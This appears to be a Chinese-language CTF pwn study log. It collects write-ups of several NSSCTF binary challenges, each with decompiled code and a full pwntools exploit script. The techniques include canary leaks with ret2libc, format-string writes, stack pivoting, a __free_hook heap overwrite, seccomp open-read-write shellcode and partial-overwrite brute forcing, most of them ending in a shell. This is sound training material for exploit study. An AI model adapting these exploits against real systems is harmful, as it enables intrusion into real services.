  def sl(a) : p.sendline(a)                                                                     │04:0020│-008 0x7fffc44878d8 ◂— 0xca0d406c4cf14500
[*] running in new terminal: ['/usr/bin/gdb', '-q', './pwn', '-p', '7089']                      │05:0028│ rbp 0x7fffc44878e0 —▸ 0x7fffc4487900 ◂— 1
[+] Waiting for debugger: Done                                                                  │06:0030│+008 0x7fffc44878e8 —▸ 0x40090f (main+53) ◂— mov eax, 0
[*] Paused (press any to continue)                                                              │07:0038│+010 0x7fffc44878f0 ◂— 0x1000
                                                                                                │pwndbg>

发现在下一个也就是%2加入5个寄存器就是canary值

大小足够泄露两个地址好找libc版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "node4.anna.nssctf.cn"
    port = 28119
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
p.recv()
sl("%7$p")
canary = int(rl("00")[-18:].decode("utf-8"),16)
info("canary: {:#x}".format(canary))
offset = 0x20 + 8
payload1 = flat([cyclic(offset-0x10),canary,0xdeaf,rdi,elf.got['puts'],elf.plt['puts']],rdi,elf.got['read'],elf.plt['puts'],elf.sym['vuln'])
sl(payload1)
puts_addr = get_addr()
read_addr = get_addr()
info("puts addr : {:#x}".format(puts_addr))
info("read addr : {:#x}".format(read_addr))
libc_base = puts_addr - 0x6f690
system = libc_base + 0x45390
bin_sh = libc_base + 0x18cd57
payload2 = flat([cyclic(offset-0x10),canary,0xdeaf,rdi,bin_sh,system])
sl(payload2)
inter()

[SUCTF 2018 招新赛]basic pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[268]; // [rsp+10h] [rbp-110h] BYREF
  int v5; // [rsp+11Ch] [rbp-4h]

  scanf("%s", s);
  v5 = strlen(s);
  printf("Hi %s\n", s);
  return 0;
}
int callThisFun(void)
{
  char *path[4]; // [rsp+0h] [rbp-20h] BYREF

  path[0] = "/bin/cat";
  path[1] = "flag.txt";
  path[2] = 0LL;
  return execve("/bin/cat", path, 0LL);
}

很简单一个溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "xxx"
    port = 1111
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
offset = 0x110 + 8
payload1 = flat([cyclic(offset),0x401157])

sl(payload1)
inter()

[HDCTF 2023]Minions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[48]; // [rsp+0h] [rbp-30h] BYREF

  init(argc, argv, envp);
  vuln();
  puts("\nDo you have an invitation key?");
  if ( key == 102 )
  {
    puts("welcome,tell me more about you");
    read(0, buf, 0x40uLL);
    puts("That's great.Do you like Minions?");
    read(0, &hdctf, 0x28uLL);
  }
  else
  {
    puts("sorry,you can't in");
  }
  return 0;
}

key在bss段上0x0000000006010A0​

1
2
3
4
5
6
7
8
9
int vuln()
{
  char buf[208]; // [rsp+0h] [rbp-D0h] BYREF

  puts("Welcome to HDCTF.What you name?\n");
  read(0, buf, 0xD0uLL);
  printf("Hello,");
  return printf(buf);
}

存在格式化字符串

可以打栈迁移，当前old_ebp保存了old_ebp的地址，我们可以泄露出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "node5.anna.nssctf.cn"
    port = 22952
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
leave = rop.find_gadget(['leave','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
info("leave addr : {:#x}".format(leave))
key = 0x0000000006010A0
offset = 0x30 + 8
payload1 = fmtstr_payload(6,{key:102})
r()
sl(payload1)
r()
payload2 = flat([cyclic(offset),0x400610])
sl(payload2)
sl("%32$p")
rl("Hello,")
fake_ebp = int(p.recvuntil("\n\n",drop=True).decode("utf-8"),16) - 0x28
success("fake_ebp: {:#x}".format(fake_ebp))
bin_sh = fake_ebp - 8
success("fake_ebp: {:#x}".format(fake_ebp))
success("bin_sh: {:#x}".format(bin_sh))
payload3 = flat(["/bin/sh\x00",ret,rdi,bin_sh,elf.sym['system'],])
payload3 = payload3.ljust(offset-8,b'\x00') + p64(fake_ebp-8) + p64(leave) 
sl(payload3)
inter()

格式化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "node5.anna.nssctf.cn"
    port = 22952
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
leave = rop.find_gadget(['leave','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
info("leave addr : {:#x}".format(leave))

key = 0x0000000006010A0
offset = 0x30 + 8


payload1=fmtstr_payload(6,{0x6010A0:0x66})
payload2=cyclic(0x38)+p64(0x400610)
payload3=fmtstr_payload(6,{elf.got['printf']:elf.sym['system']})

sa('What you name?',payload1)
sa('more about you',payload2)
sa('Minions?','sa')
sa('What you name?',payload3)
sa('more about you',payload2)
sa('Minions?','sa')
sa('What you name?',"/bin/sh\x00")
inter()

11.12

[HNCTF 2022 WEEK4]ezheap

首先更换一个glibc2.23的ld

1
patchelf --set-interpreter /home/pwn/pwnenv/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-linux-x86-64.so.2 pwn

然后更换一下libc

1
patchelf --replace-needed libc.so.6 ./libc-2.23.so pwn

主代码逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h]

  init_env(argc, argv, envp);
  puts("Easy Note.");
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = getnum();
      if ( v3 != 4 )
        break;
      edit();
    }
    if ( v3 > 4 )
    {
LABEL_13:
      puts("Invalid!");
    }
    else if ( v3 == 3 )
    {
      show();
    }
    else
    {
      if ( v3 > 3 )
        goto LABEL_13;
      if ( v3 == 1 )
      {
        add();
      }
      else
      {
        if ( v3 != 2 )
          goto LABEL_13;
        delete();
      }
    }
  }
}

菜单

1
2
3
4
5
6
7
8
int menu()
{
  puts("1.Add.");
  puts("2.Delete.");
  puts("3.Show.");
  puts("4.Edit.");
  return puts("Choice: ");
}

添加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int add()
{
  __int64 v0; // rbx
  __int64 v1; // rax
  int v3; // [rsp+0h] [rbp-20h]
  int v4; // [rsp+4h] [rbp-1Ch]

  puts("Input your idx:");//输入id
  v3 = getnum();
  puts("Size:");//输入大小
  v4 = getnum();
  if ( (unsigned int)v4 > 0x100 )//不能大于0x100
  {
    LODWORD(v1) = puts("Invalid!");
  }
  else
  {
    heaplist[v3] = malloc(0x20uLL);//首先在heaplist[id]开辟一个0x20的空间
    if ( !heaplist[v3] )//当这个空间申请失败，报错
    {
      puts("Malloc Error!");
      exit(1);
    }
    v0 = heaplist[v3];
    *(_QWORD *)(v0 + 16) = malloc(v4);//在他的chunk的0x10位后，存入一个指针，指针指向开辟的一个chunk
    *(_QWORD *)(heaplist[v3] + 32LL) = &puts;//在他的0x20位后，存入一个puts函数的地址
    if ( !*(_QWORD *)(heaplist[v3] + 16LL) )//heap的0x10的chunk申请失败，报错
    {
      puts("Malloc Error!");
      exit(1);
    }
    sizelist[v3] = v4;//管理size大小的list
    puts("Name: ");
    if ( !(unsigned int)read(0, (void *)heaplist[v3], 0x10uLL) )//往chunk里面写入0x10的name
    {
      puts("Something error!");
      exit(1);
    }
    puts("Content:");
    if ( !(unsigned int)read(0, *(void **)(heaplist[v3] + 16LL), sizelist[v3]) )//往chunk里面存放的指针的chunk里面写入content内容
    {
      puts("Error!");
      exit(1);
    }
    puts("Done!");
    v1 = heaplist[v3];
    *(_DWORD *)(v1 + 24) = 1;//设置chunk的0x18为1
  }
  return v1;
}

删除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
_QWORD *delete()
{
  _QWORD *result; // rax
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();//获取id
  if ( v1 <= 0x10 && *(_DWORD *)(heaplist[v1] + 24LL) )//id不能大于16和他的24位的值为1
  {
    free(*(void **)(heaplist[v1] + 16LL));//首先释放掉content
    free((void *)heaplist[v1]);//然后释放掉他自己
    sizelist[v1] = 0LL;//设置sizelist为空
    *(_DWORD *)(heaplist[v1] + 24LL) = 0;//设置使用位为0
    *(_QWORD *)(heaplist[v1] + 16LL) = 0LL;//设置指向的content chunk为0
    result = heaplist;//设置heaplist的id为空
    heaplist[v1] = 0LL;
  }
  else
  {
    puts("Error idx!");
    return 0LL;
  }
  return result;
}

查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 show()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();//获取id
  if ( (unsigned int)v1 < 0x10 && heaplist[v1] )//不能大于16和不能为空
  {
    (*(void (__fastcall **)(_QWORD))(heaplist[v1] + 32LL))(heaplist[v1]);//puts(name)
    return (*(__int64 (__fastcall **)(_QWORD))(heaplist[v1] + 32LL))(*(_QWORD *)(heaplist[v1] + 16LL));//puts(content)
  }
  else
  {
    puts("Error idx!");
    return 0LL;
  }
}

修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ssize_t edit()
{
  unsigned int v1; // [rsp+8h] [rbp-8h]
  unsigned int nbytes; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();//获取id
  puts("Size:");
  nbytes = getnum();//获取size
  if ( v1 <= 0x10 && heaplist[v1] && nbytes <= 0x100 )
    return read(0, *(void **)(heaplist[v1] + 16LL), nbytes);//往chunk里面写入小于0x100字节的数据
  puts("Error idx!");
  return 0LL;
}

所以肯定存在堆溢出

puts遇到\x00​截断，我们知道

​image​

我们用edit溢出获取puts，将name指向puts的地址，然后修改free_hook为system，然后内容为/bin/sh​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "xxx"
    port = 1111
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
libc = ELF('./libc-2.23.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))

def add(idx,size,name,content):
    sla("Choice: ","1")
    sla("Input your idx:",str(idx))
    sla("Size:",str(size))
    sla("Name: ",name)
    sla("Content:",content)
def edit(idx,size,content):
    sla("Choice: ","4")
    sla("Input your idx:",str(idx))
    sla("Size:",str(size))
    s(content)
def show(idx):
    sla("Choice: ","3")
    sla("Input your idx:",str(idx))
def free(idx):
    sla("Choice: ","2")
    sla("Input your idx:",str(idx))

add(0,0x10,"N1ght","TestAAA")
add(1,0x10,"AAA","BBB")
edit(0,0x31,b"A"*0x18 + p64(0x31) + b"\x00"*0x10 + b'\x80')
show(1)
puts_addr = get_addr()
success("puts_addr: {:#x}".format(puts_addr))
# rl("AAAAAAAAAAAAAAAA")
# second_heap = u64(p.recvuntil("\n",drop=True).ljust(8,b'\x00'))
# success("second_heap: {:#x}".format(second_heap))
# edit(1,0x50,b"A"*0x18 + p64(0x31) + b"A"*0x28)
# show(2)
libc_base = puts_addr - libc.sym['puts']
free_hook = libc_base + libc.symbols["__free_hook"]
system = libc_base + libc.symbols["system"]
# debug()
edit(0,0x40,0x18*b'a'+p64(0x31)+b'a'*0x10+p64(free_hook))
edit(0,0x40,'/bin/sh\x00')
edit(1,0x40,p64(system))
free(0)
inter()

[GDOUCTF 2023]Random

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rdi
  __int64 v4; // rdx
  __int64 v5; // rcx
  __int64 v6; // r8
  __int64 v7; // r9
  unsigned int v8; // eax
  int v10; // [rsp+0h] [rbp-10h] BYREF
  int v11; // [rsp+4h] [rbp-Ch]
  int v12; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  v3 = stderr;
  setbuf(stderr, 0LL);
  v12 = 100;
  sandbox((__int64)v3, 0LL, v4, v5, v6, v7);
  v8 = time(0LL);
  srand(v8);
  for ( i = 0; i < v12; ++i )
  {
    v11 = rand() % 50;
    puts("please input a guess num:");
    if ( (unsigned int)__isoc99_scanf("%d", &v10) == -1 )
      exit(0);
    if ( getchar() != '\n' )
      exit(1);
    if ( v11 == v10 )
    {
      puts("good guys");
      vulnerable();
    }
    else
    {
      puts("no,no,no");
    }
  }
  return 0;
}
ssize_t vulnerable()
{
  _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("your door");
  return read(0, buf, 0x40uLL);
}
int __fastcall sandbox(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6)
{
  __int64 v7; // [rsp+0h] [rbp-40h] BYREF
  __int16 v8; // [rsp+10h] [rbp-30h] BYREF
  char v9; // [rsp+12h] [rbp-2Eh]
  char v10; // [rsp+13h] [rbp-2Dh]
  int v11; // [rsp+14h] [rbp-2Ch]
  __int16 v12; // [rsp+18h] [rbp-28h]
  char v13; // [rsp+1Ah] [rbp-26h]
  char v14; // [rsp+1Bh] [rbp-25h]
  int v15; // [rsp+1Ch] [rbp-24h]
  __int16 v16; // [rsp+20h] [rbp-20h]
  char v17; // [rsp+22h] [rbp-1Eh]
  char v18; // [rsp+23h] [rbp-1Dh]
  int v19; // [rsp+24h] [rbp-1Ch]
  __int16 v20; // [rsp+28h] [rbp-18h]
  char v21; // [rsp+2Ah] [rbp-16h]
  char v22; // [rsp+2Bh] [rbp-15h]
  int v23; // [rsp+2Ch] [rbp-14h]
  __int16 v24; // [rsp+30h] [rbp-10h]
  char v25; // [rsp+32h] [rbp-Eh]
  char v26; // [rsp+33h] [rbp-Dh]
  int v27; // [rsp+34h] [rbp-Ch]
  __int16 v28; // [rsp+38h] [rbp-8h]
  char v29; // [rsp+3Ah] [rbp-6h]
  char v30; // [rsp+3Bh] [rbp-5h]
  int v31; // [rsp+3Ch] [rbp-4h]

  v8 = 32;
  v9 = 0;
  v10 = 0;
  v11 = 4;
  v12 = 21;
  v13 = 0;
  v14 = 2;
  v15 = -1073741762;
  v16 = 32;
  v17 = 0;
  v18 = 0;
  v19 = 0;
  v20 = 21;
  v21 = 0;
  v22 = 1;
  v23 = 59;
  v24 = 6;
  v25 = 0;
  v26 = 0;
  v27 = 0;
  v28 = 6;
  v29 = 0;
  v30 = 0;
  v31 = 2147418112;
  LOWORD(v7) = 6;
  prctl(38, 1LL, 0LL, 0LL, 0LL, a6, v7, &v8);
  return prctl(22, 2LL, &v7);
}

发现有sandbox使用seccomp-tools查看

​image​

​image​

栈可执行

由于可控空间太小，栈可执行，修改rax和rdi为0，然后修改rdx为0x100，然后rsi添加0x100调用syscall。

由于read的时候rsi为栈中buf的值，所以我们call rsi即可返回buf里，然后执行xor rax, rax; xor rdi, rdi; push 0x100; pop rdx; add rsi, 0x100; syscall; call rsi;​读取一段汇编到rsi里面，然后调用rsi里的代码

​image​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "node5.anna.nssctf.cn"
    port = 20846
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
v3 = clibc.time(0)
v4 = clibc.srand(v3)
v5 = clibc.rand() % 50

print(v5)
sl(str(v5))
offset = 0x20 + 8
shellcode = asm('xor rax, rax; xor rdi, rdi; push 0x100; pop rdx; add rsi, 0x100; syscall; call rsi;')
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read('rax', elf.bss() + 0x100, 0x30) + shellcraft.write(1, elf.bss() + 0x100, 0x30))
call_rsi = 0x0000000000400c23
# debug()
sa(b'door\n', shellcode.ljust(0x28, b'\x00') + p64(call_rsi))
s(orw_shellcode)
inter()

应该好好学习orw的，这个地方就有点懵了

11.13

[UUCTF 2022 新生赛]easystack

开启了PIE和NX

1
2
3
4
5
6
7
8
$ checksec pwn
[*] '/home/pwn/pwn/nssctf/11.13/UUCTF_2022_新生赛_easystack/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
1
2
3
4
5
6
7
8
9
int vuln()
{
  char buf[256]; // [rsp+0h] [rbp-100h] BYREF

  puts("I am back! Can you beat me this time?\n");
  puts("What's your name?");
  read(0, buf, 0x10AuLL);
  return printf("Hello, %s\n", buf);
}

发现就溢出了10字节，可以覆盖掉ebp和ret的后两个字节

栈上的 partial overwrite

后门的后两个字节为0000000000001185​

所以可以爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
def pwn():
    offset = 0x100 + 8
    payload = cyclic(offset) + b'\x85\x11'
    sl(payload)
    r()
    sl("id")
    if b"uid" in r():
        inter()
    else:
        p.close()
while True:
    try:
        if args['DEBUG']:
            context.log_level = 'debug'
        context.terminal = ['tmux', 'splitw','-h']
        if args['REMOTE']:
            ip = "xxx"
            port = 1111
            p = remote(ip, port)
        else:
            p = process('./pwn')
            info("pid: {}".format(p.pid))
        elf = ELF("./pwn")
        pwn()
    except:
        p.close()

​image​

爆破成功

[HDCTF 2023]Makewish

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python3 exp.py     
[+] Starting local process './pwn': pid 19701
[*] pid: 19701
[*] '/home/pwn/pwn/nssctf/11.13/HDCTF_2023_Makewish/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] Loading gadgets for '/home/pwn/pwn/nssctf/11.13/HDCTF_2023_Makewish/pwn'
[*] ret addr : 0x4005d9
[*] rdi addr : 0x400993
[*] Stopped process './pwn' (pid 19701)

发现开启了NX和Canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+8h] [rbp-38h] BYREF
  int v5; // [rsp+Ch] [rbp-34h]
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v5 = rand() % 1000 + 324;
  puts("tell me you name\n");
  read(0, buf, 0x30uLL);//可以泄露canary
  puts("hello,");
  puts(buf);
  puts("tell me key\n");
  read(0, &v4, 4uLL);
  if ( v5 == v4 )
    return vuln();
  puts("failed");
  return 0;
}
__int64 vuln()
{
  _BYTE buf[88]; // [rsp+0h] [rbp-60h] BYREF
  unsigned __int64 v2; // [rsp+58h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("welcome to HDctf,You can make a wish to me");
  buf[(int)read(0, buf, 0x60uLL)] = 0;//off_by_null
  puts("sorry,i can't do that");
  return 0LL;
}

具体为什么能够栈迁移呢

1
2
3
4
5
6
7
8
9
.text:00000000004008E5                 mov     eax, 0
.text:00000000004008EA                 call    _read
.text:00000000004008EF                 mov     eax, [rbp+var_38]
.text:00000000004008F2                 cmp     [rbp+var_34], eax
.text:00000000004008F5                 jnz     short loc_400905
.text:00000000004008F7                 mov     eax, 0
.text:00000000004008FC                 call    vuln
.text:0000000000400901                 leave
.text:0000000000400902                 retn

一开始我不理解的，但是看汇编就理解了调用了vuln函数结束leave;ret篡改了ebp导致ebp的值为fake_ebp，然而esp正常执行完vuln后再次执行leave;ret;就修改了esp为ebp也就指向了fake_ebp，然后ret就是add esp+4;mov eip,[esp-4]​我们只能返回到00也就是得多写ret来保证成功率，这样返回00能滑到后门函数中

​image​

可以覆盖至canary

发现key是0x2c3

​image​

1
2
3
4
